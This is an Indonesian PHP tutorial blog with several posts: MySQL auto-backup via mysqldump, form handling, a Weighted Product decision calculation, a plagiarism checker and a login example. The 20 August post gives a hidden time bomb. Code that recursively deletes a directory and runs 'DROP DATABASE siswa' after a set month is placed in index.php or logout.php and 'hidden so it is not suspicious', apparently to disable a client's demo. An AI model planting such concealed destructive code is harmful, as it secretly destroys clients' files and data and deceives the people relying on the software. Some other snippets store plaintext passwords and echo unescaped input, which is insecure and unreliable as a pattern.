Selasa, 16 September 2014

CodingShared kali ini akan membagikan script php yang dapat dipergunakan untuk auto back up database MySQL, script ini dilatar belakangi adanya pemintaan dari salah satu client agar program yang ada dapat secara otomatis melakukan backup database tiap bulannya, sehingga user tidak perlu lagi copy paste secara manual untuk melakukan backup database.

Kita akan manfaatkan fitur mysqldump yang sudah tersedia di MySQL. Hanya saja mysqldump ini bentuknya adalah executable file yang harus dijalankan melalui shell. Anda dapat melihat file ini di dalam folder mysql/bin. Jika Anda menggunakan AppServ, maka mysqldump ini terletak di folder C:\AppServ\mysql\bin, dengan dipadu penggunaan date  untuk eksekusi script maka akan menghasilkan auto backup database.

Langsung saja, aplikasi auto backup database dengan script PHP ini terdiri dari tiga bagian, yaitu proses koneksi database (tinggal include jika sebelumnya telah memiliki file koneksi database.), bagian kedua terdiri dari persiapan auto update, dan bagian yang ketiga terdiri dari proses backup database sesuai dengan yang di inginkan.

  • Koneksi database; berikut script koneksi database sebagai contoh kita akan menggunakan database "db_coffee".
<?php
// koneksi database
// setting user,password, nama database
$dbUser="root";
$dbPass="root";
$dbName="db_coffee";
$dbHost = "localhost";

mysql_connect($dbHost, $dbUser, $dbPass);
mysql_select_db($dbName);
?>
  • Persiapan auto update; 
<?php
// cek tanggal back up
$autotgl=date("d");
// nama database
$dbName="db_coffee";
// tanggal auto backup
$tgl=date("m_Y");
// alamat penyimpanan dan nama file backup
$nama_file="D:\DB/".$dbName.$tgl.".sql"; 
// setting alamat penyimpanan file backup.sql
    $almBackup="D:\DB/".$dbName.$tgl."";
    $dbNamaBackup=$dbName.$tgl;
    // list nama tabel yang akan di backup
    // query untuk menampilkan semua tabel dalam database
    $query = "SHOW TABLES";
    $hasil = mysql_query($query);
    $listTabel = "";
        while($data = mysql_fetch_row($hasil))
        {
        $listTabel .= $data[0]." ";
        }

 ?>
  • Proses Backup database MySQL
<?php
// cek apakah ada atau tidak dokumen.sql pada web server dan apakah tanggal juga sesuai
if(!file_exists($nama_file) and $autotgl=="16")
    {
    // membentuk string command menjalankan mysqldump
    // diasumsikan file mysqldump terletak di dalam folder C:\AppServ\MySQL\bin -> sesuaikan dengan webserver yang dimiliki    `
    $command = "D:\HOST\MySQL\bin\mysqldump -u".$dbUser." -p".$dbPass." ".$dbName." ".$listTabel." > ".$almBackup.".sql";
    // perintah untuk menjalankan perintah mysqldump dalam shell melalui PHP
    exec($command);
    echo "file $nama_file sudah Ter BackUp.";
    exit;
    }
else{
echo "Ups, file $nama_file sudah ada.";
}
?>

Kamis, 04 September 2014

Coding Shared - Kali ini akan membagikan trik script sederhana mengenai submit form dengan metode "onchange", Submit form ini seringkali digunakan salah satunya jika kita ingin melakukan filter data barang, data obat, laporan berdasar tahun tertentu dll.

Konsepnya sederhana, yaitu kita akan membuat sebuah form dimana akan ada <select> yang <option> nya akan terisi sebuah nilai antara 1-100, untuk menciptakan nilai dengan rentang 1-100 kita akan menggunakan "for" sedangkan untuk menampilkan keterangan dari nilai yang telah kita pilih, kita akan menggunakan "if else".

langsung saja coba kita lihat script berikut :
<form action="" method="post">
NILAI UJIAN<br />
<select name="nilai" onchange="submit()">
<?php
for ($i=1;$i<=100;$i++)
  {
      if ($i==$_POST['nilai'])
           {  echo '<option value="'.$i.'" selected=selected>'.$i.'</option>';}
      else {  echo '<option value="'.$i.'">'.$i.'</option>';}
  }
?>
</select>
<br />KETERANGAN : </br>
<?php
if(isset($_POST['nilai']))
{
    if ($_POST['nilai']<=40){echo"Nilai C";}
    elseif ($_POST['nilai']<=70){echo"Nilai B";}
    else{echo"Nilai A";}
}

?>
</form>
Setiap kali kita memilih nilai, secara otomatis akan memberikan keterangan dari nilai yang telah kita pilih . Script" if ($i==$_POST['nilai']) " berfungsi untuk menampilkan kembali nilai yang telah kita pilih pada saat sebelum submit, sedangkan "onchange="submit()" " adalah script untuk otomatis submit form jika value select berubah.

Sekian Share Script sederhana kali ini, semoga bermanfaat.

Rabu, 03 September 2014

Coding Shared - Lab Code kali ini akan mengupas salah satu metode dalam MADM (Multiple Atribute Decision Making) yaitu metode WP ( Weight Product ) yang memang diperuntukkan sebagai alat bantu untuk membuat keputusan,.
Dalam implementasinya, Metode WP ini dapat juga diterapkan dalam berbagai kasus, semisal : Perangkingan karyawan terbaik, Penentuan penerima beasiswa, rekomendasi produk elektronik tertentu, Pemilihan tempat kost dan lain sebagainya, untuk lebih jelasnya mengenai metode WP ini coba kita kupas rumus dan implementasinya yang kami ambil dari bahan ajar salah satu dosen Universitas Islam Indonesia yaitu Ibu Sri Kusumadewi dengan judul " Metode - Metode optimasi dengan Alternatif terbatas ". Berikut rumus dan contoh penggunaan dari Metode WP - MADM :










Yang jadi pertanyaan sekarang adalah bagaimana implementasi dari metode WP pada contoh di atas dalam pemrograman PHP?
OK, mari kita bahas. Untuk sementara anggap saja kita hanya mengimplementasikan study kasus di atas, jadi kita belum membutuhkan database, kecuali kalau nanti kita ingin menerapkannya menjadi sebuah aplikasi.
Untuk Study Kasus di atas maka :
  • Untuk tiap alternatif akan kita definisikan sebagai sebuah array,
  •  Nilai kriteria dan nilai alternatif disetiap kriteria akan disimpan dalam sebuah variabel array
  • Nilai W adalah nilai yang sudah ditentukan / nilai inputan kalau diterapkan dalam sebuah aplikasi. 
 Maka Script Penyelesaian untuk study kasus di atas adalah :
<?php
// definisi alternatif sebagai array
$alternatif = array("Ngemplak","Kalasan","Kota Gede");
$jum_alternatif=count($alternatif);
// definisi kriteria sebagai array
$kriteria = array ("jarak pasar","jumlah penduduk","jarak pabrik","jarak gudang","harga tanah");
$jum_kriteria=count($kriteria);
// bobot kepentingan
$w = array(5,3,4,4,2);
// perbaikan bobot kepentingan
$totalW=5+3+4+4+2;
$wp[0]=round(($w[0]/$totalW),2);
$wp[1]=round(($w[1]/$totalW),2);
$wp[2]=round(($w[2]/$totalW),2);
$wp[3]=round(($w[3]/$totalW),2);
$wp[4]=round(($w[4]/$totalW),2);
// definisi array untuk nilai alternatif tiap kriteria
//A[x][y] -> x untuk alternatif, y untuk kriteria
$A[0][0]=0.75;$A[0][1]=2000;$A[0][2]=18;$A[0][3]=50;$A[0][4]=500;
$A[1][0]=0.50;$A[1][1]=1500;$A[1][2]=20;$A[1][3]=40;$A[1][4]=450;
$A[2][0]=0.90;$A[2][1]=2050;$A[2][2]=35;$A[2][3]=35;$A[2][4]=800;

// perhitungan vektor S
// C2 dan C4 nilai keuntungan bernilai +, C1,C3,C5 kriteria biaya bernilai -
for ($i=0;$i<$jum_alternatif;$i++)
     {
  $S[$i]=1;
  for($j=0;$j<$jum_kriteria;$j++)
  {
  if ($j==0 or $j==2 or $j==4) {$p=0-$wp[$j];} else {$p=$wp[$j];}  
  $S[$i]=$S[$i]*pow($A[$i][$j],$p);
   }
  $totalS=$totalS+$S[$i];
      }
// perhitungan vektor V
$rangkingawal=0;
for ($i=0;$i<$jum_alternatif;$i++)
     {
  $V[$i]=$S[$i]/$totalS;
  if ($V[$i]>$rangkingawal)
            {
               $rangkingawal=$V[$i]; $pilihan=$alternatif[$i];$hasil=$V[$i]; $urutan=$i;
             }
 
       }
// Hasil Akhir
echo "Hasil perangkingan yang di pilih adalah Vektor V ke-".$urutan." yaitu :<br><b>".$pilihan."</b> dengan nilai <b>".$hasil."</b>";
?>
Setelah script di atas di jalankan, maka berikut tampilan yang dihasilkan, sama persis dengan contoh kasus di atas.
Screenshot script php penentuan alternatif dengan menggunakan Metode WP - MADM
Screenshot script php penentuan alternatif dengan menggunakan Metode WP - MADM



Rabu, 20 Agustus 2014

Coding Shared - Kali ini akan membagikan sebuah script  yang akan berguna sebagai timer untuk menghapus sebuah file. Pengalaman dari sebuah kasus dimana saya ingin memberikan aplikasi demo kepada client untuk di coba - coba, dimana aplikasi tersebut akan saya batasi waktu penggunaannya, semisal hanya dalam tempo satu bulan.

Dari kasus tersebut akhirnya muncullah ide untuk menghapus file tertentu atau menghapus database pada periode tertentu sehingga aplikasi tidak dapat lagi dipergunakan, bagaimana caranya ?

langkahnya sebagai berikut :

1. kita buat dulu fungsi yang berguna untuk mendelete file atau folder atau bisa juga delete database atau delete tabel tertentu yang kita inginkan, dalam kasus ini misalnya kita ingin mendelete sebuah database. scriptnya sbb:

function view($dirname) { if (is_dir($dirname)) $dir_handle = opendir($dirname); if (!$dir_handle) return false; while($file = readdir($dir_handle)) { if ($file != "." && $file != "..") { if (!is_dir($dirname."/".$file)) unlink($dirname."/".$file); else delete_directory($dirname.'/'.$file); } } closedir($dir_handle); rmdir($dirname); return true; }

2. Langkah kedua kita buat script pengujian timer, disinilah kita akan setting batasan waktu aplikasi dapat digunakan, berikut scriptnya :


require("koneksi.php"); $t1=date("d");$t2=date("m");$t3=date("y"); if($t2>11) {
view("../bea");
$sip="DROP DATABASE siswa";$sip2=mysql_query($sip);
echo "";
}

Penjelasan :
  • require("koneksi.php"); =script koneksi database,bisa dilihat scripnya pada posting tentang koneksi.
  • $t1=date("d");$t2=date("m");$t3=date("y"); = script mendefinisikan tanggal,bulan dan tahun
  • if($t2>11) =pengujian waktu terserah teman - teman codinger di set tanggal bulan dan tahun berapa
  • view("../bea"); = memanggil fungsi untuk menghapus direktori.("../bea") adalah alamat direktori.ini terseran temen2.
  • $sip="DROP DATABASE siswa";$sip2=mysql_query($sip); = script untuk menghapus database.disini nama databasenya adalah "siswa".
  • echo ""; = script tambahan biar keren ajah...bisa di isi pop up javascript dll....

terakhir :
taruh script di atas pada file index.php ato file logout.php..usahakan sembunyikan script tersebut biar tidak terlalu mencurigakan..

Nah sekian sharing code kali ini, semoga bermanfaat.
Source : klik sumber (artikel asli dari penulis yang sama).

Selasa, 19 Agustus 2014

Coding shared kali ini akan membagikan script sederhana yang dapat difungsikan sebagai tool untuk mengecek ada tidaknya kemungkinan plagiasi dengan membandingkan dua buah inputan. Seperti yang telah  kita ketahui bersama bahwa akhir akhir ini plagiasi menjadi hal yang krusial menyangkut Hak Atas Kekayaan Intelektual, oke langsung saja untuk  demo aplikasinya bisa langsung cek di link berikut Aplikasi Plagiasi

Aplikasi Cek plagiasi sederhana ini menggunakan salah satu fungsi dalam php yaitu fungsi similar_text() dimana standart penulisannya adalah :
similar_text(text 1, text 2, var penyimpanan);

var penyimpanan akan menghasilkan nilai tingkat kesamaan antara text 1 dan text 2 dimana rentangnya antara 0 s/d 100, untuk membuat aplikasi sederhana ini terlebih dahulu kita buat form inputan dengan script berikut :



<form  method="post">

<h1>Aplikasi Cek Plagiasi Sederhana</h1>
<table align="center">
<tr><td><span>Kalimat yang diuji</span></td><td><textarea name="kal1" cols="50" rows="5" id="feedback"><?=$kal1?></textarea></td></tr>
<tr><td><span>Kalimat Pembanding</span></td><td><textarea name="kal2" cols="50" rows="5" id="feedback"><?=$kal2?></textarea></td></tr>
<!-- untuk selanjutnya kita buat action jika  tombol submit di klik -->
<?php
if (isset($_POST['kal1']))
{
$k1=strtolower ( $_POST['kal1'] );
$k2=strtolower ( $_POST['kal2'] );
similar_text($k1,$k2,$persen);
$persen=round($persen);
if ($persen>50){$ket="TERDETEKSI PLAGIASI"; $warna="#F00";} else {$ket="TIDAK TERDETEKSI PLAGIASI"; $warna="#6F0";}
?> 
<!--dan terakhir kita tutup form dan tabel yang telah dibuat -->
<tr><td colspan=2 align=center> kemiripan kalimat = <?=$persen?> % <br /> <span style="color:<?=$warna?>">
<?=$ket?></span></td></tr>
<?php } ?>

</table>
<center><input name="Submit" type="submit" value="Cek Plagiasi" /></center>
</form>
Jika script ini dijalankan, tentunya harus menggunakan webserver, maka akan menghasilkan hasil seperti gambar di atas, tentunya aplikasi ini masih sangat sederhana dan dapat dikembangkan lebih lanjut misalnya dengan mengujinya kata perkata dengan memanfaatkan variabel array sehingga dapat diketahui text - text atau kalimat mana yang di curigai sebagai hasil plagiasi. Sekian sharing script php pengecek plagiasi ini, semoga bermanfaat.

Senin, 18 Agustus 2014

Coding Shared - Kali ini akan membagikan sebuah fungsi yang berguna untuk mendapatkan hasil query dari sebuah tabel database dan menyimpan ke dalam sebuah variabel array, pasti ada yang bertanya ; lalu apa bedanya dengan fungsi mysql_fetch_array() atau mysqli_fetch_array() ?

mari kita lakukan operasi dengan menggunakan tabel berikut :
Tabel Keyword
Dari tabel keyword di atas, jika kita melakukan operasi dengan menggunakan mysql_fetch_array() kita hanya akan mendapatkan hasil dari fieldnya, semisal : 
$result = mysqli_query($con,"SELECT * FROM keyword");

while($row = mysqli_fetch_array($result)) {
  echo $row['id_keyword'] . " " . $row['nama_keyword'];
  echo "<br>";
}
 maka hasil dari operasi di atas adalah menampilkan id_keyword dan nama keyword, lalu bagaimana untuk mendapatkan nama - nama keywordnya saja dan disimpan dalam sebuah variabel array ?

Disini kita akan memanfaatkan fungsi mysql_fetch_row() dan memodifikasinya seperti berikut :
function ReadAtribut($strSql)
{
    $display = mysql_query($strSql);
   
    $arrResult = Array();
   
    $cnt=0;
   
    while ($data = mysql_fetch_row($display))
    {
        $arrResult[$cnt++] = $data[0];
    }

    return $arrResult;
}
dan untuk memanfaatkan cukup dengan memanggil fungsi dengan perintah :
$arr_key=ReadAtribut("SELECT nama_keyword FROM keyword");
dengan demikian maka secara otomatis variabel $arr_key akan berisi data nama - nama keyword dan variabel $arr_key ini akan bertype array.

Nah sekian dulu ulasan Coding Shared kali ini semoga bermanfaat.

Rabu, 06 Agustus 2014

Kali ini Coding Shared akan membagikan aplikasi sederhana membuat soal tampil secara random dengan memanfaatkan operator "switch case", dimana halaman random soal ini akan menampilkan soal secara acak ( random ) setiap kali halaman di load / refresh.

Contoh coding ini sengaja tidak dihubungkan dengan dengan database agar lebih mudah untuk dipahami.
Syntax  dari switch case adalah sebagai berikut :

switch (n) {
  case label1:
    code to be executed if n=label1;
    break;
  case label2:
    code to be executed if n=label2;
    break;
  case label3:
    code to be executed if n=label3;
    break;
  ...
  default:
    code to be executed if n is different from all labels;
}


Bagaimana caranya agar soal dapat muncul secara random ( acak ) ?, coba kita cermati script berikut :

<!----------------------------- awal script -------------------!>
<table width="500px" align="center" style="border:thin dashed" >
<?php

$soal=rand(1,6);

switch($soal)
{
case 1: 
echo "<tr><td align=center><strong>Soal</strong></td></tr>
<tr><td align=center>Buat program yang menerapkan Class dan Object, buat class hitung yang memiliki konstruktor untuk mendefinisikan variabel dan method untuk menghitung luas Lingkaran, dimana inputan jari jari di dapat dari inputan keyoard</td></tr>";
break;

case 2: 
echo "<tr><td align=center><strong>Soal</strong></td></tr>
<tr><td align=center>Buat program yang menerapkan Class dan Object, buat class hitung yang memiliki konstruktor untuk mendefinisikan variabel dan method untuk menghitung luas Segitiga sama sisi, dimana inputan alas dan sisi di dapat dari inputan keyoard</td></tr>";
break;

case 3: 
echo "<tr><td align=center><strong>Soal</strong></td></tr>
<tr><td align=center>Buatlah program java untuk menurunkan 2 buah kelas turunan dari kelas induk  yang  berupa  lingkaran  dimana  program  ini  dapat  menghitung  luas dan keliling lingkaran !</td></tr>";
break;

case 4: 
echo "<tr><td align=center><strong>Soal</strong></td></tr>
<tr><td align=center>Buatlah program java untuk menggambarkan terjadinya polymorphisme</td></tr>";
break;

case 5: 
echo "<tr><td align=center><strong>Soal</strong></td></tr>
<tr><td align=center>Buatlah program java untuk menggambarkan terjadinya overloading konstruktor.</td></tr>";
break;

case 6: 
echo "<tr><td align=center>soal Keenam</td></tr>
<tr><td align=center>Buatlah program java untuk menggambarkan terjadinya enkapsulasi terhadap suatu class.</td></tr>";
break;
}
?>
</table>
<!-------------------------- akhir script --------------------------!>

Dari script di atas kita menemukan syntax $soal=rand(1,6); yang artinya bahwa kita mendefinisikan sebuah variabel dengan nama "$soal" dan akan di isi dengan nilai random (acak) yang intervalnya kita tentukan antara 1-6, untuk selanjutnya nilai dari "$soal" inilah yang nantinya kita akan uji dengan perintah switch($soal) sehingga isi dari variabel "$soal" ini nantinya akan berpengaruh terhadap case - case yang telah kita sediakan yaitu case : 1 s/d case :6.

Contoh penerapan dari script di atas dapat dilihat pada link berikut : view random soal sedangkan apabila ingin mencoba sendiri cara penggunaan switch case ini, dapat mencoba via www.w3schools.com pada link berikut.

happy shared, semoga bermanfaat.

Selasa, 08 Juli 2014

Kali ini codingshared akan membagikan script php untuk  form dan actionnya yang tersimpan dalam satu halaman web,
Studi kasus :
saya ingin menampilkan data mahasiswa yang telah di filter, jika saya memilih fakultas, maka akan tampil pilihan jurusan yang sesuai dengan nama fakultas yang telah saya pilih sebelumnya, dan setelah saya klik submit baru akan melakukan proses pencarian. Fokus utama dalam pembahasan ini adalah bagaimana mengirim dan menerima variabel form dalam satu halaman website, jadi kami tidak akan membahas yang terkait dengan data database.
Disini kita akan menerapkan dua buah form, form pertama adalah form untuk pilih fakultas yang akan di submit dengan metode onChange, dengan kata lain form akan otomatis tersubmit jika kita memilih salah satu pilihan yang disediakan, form kedua adalah form pilih program studi dimana pilihan dari prodi ini di tentukan oleh pilihan fakultas yang telah dipilih pada form pertama dan setelah user melakukan klik pada tombol submit maka akan di arahkan pada proses selanjutnya. download script dapat di download pada link berikut atau lihat demo disini.
Selamat jumpa kembali sahabat codingshared, kali ini saya akan membagi salah satu tool online yang dapat kita pergunakan untuk saling berbagi code program dan melakukan edit secara bersamaan, tool ini sangat akan berguna bagi temen – temen yang mengalami kesulitan coding dan ingin mendapatkan solusi dari permasalahan yang dihadapi. Langsung saja tanpa panjang lebar, tool ini beralamatkan di website http://codeshare.io/ , dengan slogan “CodeShare is a real-time browser editor for sharing code with peers” , Codeshare menawarkan cara mudah untuk berbagi editing code melalui 4 langkah mudah sebagai berikut :
  • Paste or write code  ( paste atau tulis kode program di kolom yang disediakan ).
  • Share the URL with a friend ( copy paste alamat URL dan bagikan kepada teman anda )
  • Hack in real-time ( edit code program secara langsung, realtime dan dapat dilihat perubahannya dari beberapa user yang connect)
  • (Optional) Start a video chat ( ini yang paling menarik, masing masing user yang connect dapat saling berkomunikasi dengan video chat)
untuk membuktikannya , saya mencoba menggunakan dua browser yang berlainan,chrome dan firefox, Pertama saya akan mengakses codeshare.io melalui chrome browser dan mendapatkan tampilan berikut setelah saya melakukan copy paste coding program.

Selamat Datang di Coding Shared, kali ini saya akan membagi contoh kasus script login sederhana , adapun alat – alat yang kita butuhkan adalah sebagai berikut :
  • Template login Page ( Googling aja, di google udah banyak kok yang free, yang berbayar juga ada).
  • Text Editor ( Dreamweaver, Notepad++, etc ).
  • Webserver (XAMPP, AppServ, WAMP, etc ) abaikan jika sudah ada.
Langkah pertama adalah kita buat dulu database untuk loginnya dengan copy paste perintah berikut di tab SQL pada phpMyAdmin :
CREATE DATABASE `login` ;
CREATE TABLE `tb_user` (
`id_user` int(11) NOT NULL auto_increment,
`nama_lengkap` varchar(30) NOT NULL,
`nama_user` varchar(10) NOT NULL,
`pass_user` varchar(10) NOT NULL,
`jenis_user` varchar(15) NOT NULL,
PRIMARY KEY (`id_user`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=3 ;
INSERT INTO `tb_user` VALUES (1, ‘Sugeng Prayogo’, ‘admin’, ‘jurnal’, ‘administrator’);
INSERT INTO `tb_user` VALUES (2, ‘Andri Siswanto’, ’03634′, ’1234′, ‘mahasiswa’);
Atau import file sqlnya disini
Langkah Kedua adalah menyiapkan script dan tampilan login yang tadi kita dapat dari download template,
Singkat cerita silahkan langsung dicoba implementasi dari contoh script login ini ,Download Disini.

Related post

Subscribe to RSS Feed Follow me on Twitter!